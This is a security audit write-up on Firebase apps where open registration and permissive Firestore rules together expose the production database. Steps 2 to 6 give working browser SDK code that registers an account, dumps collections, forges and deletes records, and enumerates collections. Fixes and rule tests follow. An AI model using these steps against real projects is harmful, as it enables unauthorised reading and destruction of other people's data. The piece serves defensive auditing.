Auditing Firebase — Open Registration + Permissive Firestore Rules = Full Production CRUD
Firebase makes shipping a backend a forty-minute exercise. It also makes shipping the wrong backend a forty-minute exercise. The single most common misconfiguration I encounter against Firebase-fronted applications is the combination of open user registration (left enabled from the dev phase) and Firestore security rules that grant blanket access to authenticated users. Together they collapse the entire production database into something any internet user can read, write, and delete. Walked end-to-end against a real production instance, sanitised.
Firebase is responsible for an enormous amount of real software. The Authentication + Firestore + Cloud Functions stack underlies thousands of mobile apps, hundreds of thousands of side projects, and a non-trivial slice of production SaaS where the team started small, shipped on Firebase, and never migrated off. The product is excellent at letting you go from zero to a working backend in an afternoon.
It is correspondingly excellent at letting you ship the wrong rules to production.
This writeup is the class of bug I keep finding against Firebase-fronted applications. The specifics are sanitised from an authorised assessment, but the pattern matches every Firebase exposure I’ve audited in the last 18 months. If you ship on Firebase and your team has not done a security-rules audit, this is the writeup that should be on your screen during the next hour.
The two ingredients#
Ingredient 1 — Open registration left on after launch#
Firebase Authentication ships with email/password registration enabled by default. During development this is necessary — you need test accounts to actually log in to your half-built app. The intended workflow is to disable open registration before production, and to provision real users through a controlled flow (invite-only, SSO federation, an admin-created backend account).
In practice, most teams forget. The Firebase Console toggle for
signInWithEmailAndPassword and createUserWithEmailAndPassword is buried in the
Authentication → Sign-in method settings, and shutting it off breaks the dev environment.
The path of least resistance is to leave it on. By the time the application is in
production, “authenticated” has come to mean “anyone with an email address and a four-second
attention span”.
Ingredient 2 — Firestore rules that grant blanket access to authenticated users#
The default rules generated by firebase init are restrictive:
rules_version = '2';
service cloud.firestore {
match /databases/{database}/documents {
match /{document=**} {
allow read, write: if false;
}
}
}
Nothing reads, nothing writes. The dev team can’t actually use the database until they edit the rules, which is the intended forcing function — every collection should require explicit thought about who can do what.
Three patterns are pervasive at this point:
// Pattern A — "let any authenticated user touch this collection"
match /events/{eventId} {
allow read, write: if request.auth != null;
}
// Pattern B — "let any user create, then we'll lock it down later"
match /events/{eventId} {
allow read: if true;
allow write: if request.auth != null;
}
// Pattern C — "all collections wide-open during dev, will fix before launch"
match /{document=**} {
allow read, write: if request.auth != null;
}
All three are routinely shipped to production. They all share the same property: any authenticated user can do anything in the affected collection. And because ingredient 1 let anyone become “authenticated”, the entire collection is exposed to the open internet.
The chain#
Walked against a real engagement target. The application stores event attendance records, user profiles, and a configuration document for the broader platform. The Firestore rules match Pattern B above.
Step 1 — Discover the Firebase project#
The application’s Firebase config is in the page source of the SPA:
const firebaseConfig = {
apiKey: "AIzaSy...",
authDomain: "<redacted>.firebaseapp.com",
projectId: "<redacted>",
storageBucket: "<redacted>.appspot.com",
messagingSenderId: "...",
appId: "..."
};
This is by design. The Firebase Web SDK needs the API key and project ID in the browser to function. The security model assumes that the security rules, not the API key secrecy, are the protective layer. As we’re about to demonstrate, the security rules in this case are not the protective layer.
Step 2 — Register a fresh user#
Open registration is on. The SDK call from the browser console:
import { initializeApp } from "firebase/app";
import { getAuth, createUserWithEmailAndPassword } from "firebase/auth";
const app = initializeApp(firebaseConfig);
const auth = getAuth(app);
await createUserWithEmailAndPassword(
auth,
"auditor+test@attacker.example",
"auditor-password-123"
);
The account is created. No email verification required. No CAPTCHA. The SDK returns a
fresh idToken that we can present to Firestore.
Step 3 — Read the events collection#
import { getFirestore, collection, getDocs } from "firebase/firestore";
const db = getFirestore(app);
const snapshot = await getDocs(collection(db, "events"));
snapshot.forEach(doc => console.log(doc.id, doc.data()));
Ninety event documents come back. Each contains user identifiers, event metadata, the fields the application uses to render its attendance UI. The information leak is the first problem; what comes next is worse.
Step 4 — Create arbitrary documents#
import { addDoc } from "firebase/firestore";
await addDoc(collection(db, "events"), {
name: "Auditor PoC — please disregard",
attendees: [],
capacity: 0,
createdBy: "auditor@attacker.example"
});
The document is accepted. It is now visible in the production application, alongside legitimate events. The attacker can create any number of these; the only ceiling is Firestore’s per-second write quota.
Step 5 — Modify and delete existing documents#
import { doc, updateDoc, deleteDoc } from "firebase/firestore";
// Forge an attendance record
await updateDoc(doc(db, "events", "<legit-event-id>"), {
attendees: ["auditor@attacker.example"]
});
// Or destroy an event entirely
await deleteDoc(doc(db, "events", "<legit-event-id>"));
The production database now contains forged attendance records and is missing the events the attacker deleted. In an engagement context the auditor’s job at this point is to not commit destructive operations on real data, and to restore anything that was deleted for verification. In an attacker context there is no such restraint.
Step 6 — Walk the collection list#
Firestore exposes the project’s collection list to anyone with a valid token. From the browser console:
// Pull the document index for the entire database
const collections = await db._delegate._databaseId; // Firebase internal API
// Or enumerate via the REST endpoint:
// GET https://firestore.googleapis.com/v1/projects/<projectId>/databases/(default)/documents
The endpoint returns the names of every top-level collection. In the affected project, twenty-three collections existed. The events collection was the headline; the rest included user profiles, internal configuration, and an integration audit log. Each one was governed by a rule that the auditor now had a Firebase login good against.
Why this lands so often#
Three structural reasons keep this combination alive in real codebases:
The rules editor is friction#
The Firebase Console’s rules editor is a single textarea. There is no rule-coverage report, no “which collections does this not protect” warning, no schema-aware autocomplete. The team writes the rules they need, deploys them, and moves on. There is no built-in CI mechanism to catch the case where a new collection has been written to without a matching rule.
request.auth != null is the wrong threat model#
The instinct that says “if a user is logged in they’re allowed to touch this collection” is correct for, say, a personal note-taking app where every user has their own private collection. It is dangerously wrong for any application that has more than one user, ever. The right threat model is what is the smallest set of users who should be allowed to do this operation on this document. The answer is almost never “anyone with an auth token”.
Open registration looks like a UX problem#
Disabling open registration breaks signup for the dev team. The team turns it back on, ships, forgets, and the production application happily lets the world register. The remediation isn’t to disable signup forever; it’s to gate signup through your own backend, which can apply rate limiting, CAPTCHA, email-verification enforcement, and (most importantly) only emit a Firebase auth token to users your application actually wants.
The fix#
Three layers, each load-bearing on its own:
1. Tighten the rules until they bite#
Replace if request.auth != null with rules that encode the actual authorisation
relationship. For a user-profile collection:
match /users/{userId} {
// Only the user themselves can read their profile
allow read: if request.auth.uid == userId;
// No one writes directly — all writes go through Cloud Functions
allow write: if false;
}
For an events/attendance collection:
match /events/{eventId} {
// Anyone authenticated can see events they're invited to
allow read: if request.auth.uid in resource.data.invited;
// Only the event creator can mutate the event
allow update, delete: if request.auth.uid == resource.data.createdBy;
// No one creates events directly — go through a Cloud Function
allow create: if false;
}
Two important properties: the rules use the document’s own resource.data to express the
authorisation relationship (the document remembers who owns it), and write paths that
require non-trivial validation (attendance, financial transactions, role assignment) go
through Cloud Functions rather than direct client writes. The function can run with admin
credentials and apply business logic the rules cannot express.
2. Disable open registration; gate signup through your backend#
// In your backend signup endpoint
const userRecord = await admin.auth().createUser({
email,
password,
emailVerified: false,
});
// Apply rate limiting, CAPTCHA, allow-list checks before this line
// Send your own verification email; reject login until the user verifies
In the Firebase Console: Authentication → Sign-in method → Email/Password → disable “Allow users to sign up”. From this point on, only your backend can mint users, and your backend can apply all the controls Firebase Authentication can’t.
3. Enable Firebase App Check#
App Check sits between your client SDK and Firebase services and rejects requests that don’t carry a token proving they originated from your real frontend (via reCAPTCHA Enterprise on web, DeviceCheck on iOS, Play Integrity on Android). This doesn’t fix ingredient 1 or 2 — those are still problems — but it raises the cost for an attacker to script the SDK from a generic environment. It is a defence-in-depth layer, not a replacement for proper rules.
Auditing your own project#
A pragmatic checklist:
// firebase.rules — what every Firestore rules file should look like
// Bad:
allow read, write: if request.auth != null;
// Less bad:
allow read: if request.auth.uid == resource.data.ownerId;
allow write: if request.auth.uid == resource.data.ownerId;
// Better — also validates the *shape* of writes
allow create: if request.auth.uid != null
&& request.resource.data.keys().hasOnly(['title', 'body', 'createdAt'])
&& request.resource.data.createdAt == request.time;
Use the Firebase emulator suite to run automated tests against your rules:
import { initializeTestEnvironment } from '@firebase/rules-unit-testing';
const testEnv = await initializeTestEnvironment({
projectId: 'demo',
firestore: { rules: readFileSync('firestore.rules') },
});
const alice = testEnv.authenticatedContext('alice').firestore();
const bob = testEnv.authenticatedContext('bob').firestore();
await assertFails(getDoc(doc(bob, 'users/alice'))); // Bob cannot read Alice's profile
await assertSucceeds(getDoc(doc(alice, 'users/alice'))); // Alice can read her own
Every rule branch should have a test. Test the negative case (other-user can’t access) more aggressively than the positive case.
What this writeup is really about#
The bug exists at the seam between two products: Firebase Authentication and Firestore. Authentication says “this is a logged-in user” and stops. Firestore says “I trust whoever the auth layer let in” and stops. The application’s actual authorisation model lives in the rules file, which is the only place where the two products are tied together.
If that file is treated as configuration — written once, deployed, ignored — the authorisation model is whatever was written that day. If the team treats the rules file as code — version-controlled, peer-reviewed, tested in the emulator, audited quarterly — the authorisation model survives contact with reality.
Treat the rules file as code. Read it the way you’d read a controller. Test it the way you’d test a controller. The forty-minute Firebase setup is excellent at letting you ship fast. The hour you spend writing tight rules is what keeps the ship from sinking.
Found a mistake or want to discuss this research? Email.
All research conducted under authorisation or responsible-disclosure policy. Client identifiers redacted where applicable.